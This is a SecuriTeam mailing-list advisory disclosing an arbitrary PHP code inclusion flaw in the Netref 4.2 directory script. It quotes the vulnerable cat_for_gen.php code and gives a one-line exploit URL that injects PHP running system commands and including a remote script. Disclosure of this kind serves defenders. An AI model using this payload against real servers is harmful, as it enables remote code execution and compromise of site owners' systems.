The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Netref Arbitrary Code Inclusion
------------------------------------------------------------------------
SUMMARY
" <http://www.netref.net/> Netref is a PHP/MySQL-based directory script
that supports an unlimited number of categories and links. Many fonctions
to manage the links : Fast search engine with syntax coloring, Edit icon
of category, Alias sites, Check validity of URL, Possibility to comment
the sites, Administrator access to edit all data and validate suggested
links by users, batch processing, etc."
Lack of user input validation in Netref allows remote attackers to run
malicious PHP code on the vulnerable system.
DETAILS
Vulnerable Systems:
* Annuaire Netref version 4.2
There is a vulnerability in the handling of input by Netref. Because of
this, it is possible for a remote user to gain unauthorized access to the
system using the vulnerable software. More specifically the file
"script/cat_for_gen.php" does not check the variables $ad, $ad_direct and
$m_for_racine.
Vulnerable code:
if ($ad==1)
{
if (!isset($ad_direct))
$ad_direct=""; // variable appel que dans certains cas
$fp=fopen($ad_direct."cache/cat_for.php", "w");
$temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du
formulaire
$temp.=">$m_for_racine</OPTION>";
fwrite ($fp,$temp);
}
The $m_for_racine variable is not initialized and will be written in the
cache/cat_for.php file, making it possible to inject any PHP command and
execute them.
Exploit:
http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1
&ad_direct=../&m_for_racine=</option></SELECT><?php
sytem($command);include($remote_script)?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:webmaster@wulab.com> jaguar.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
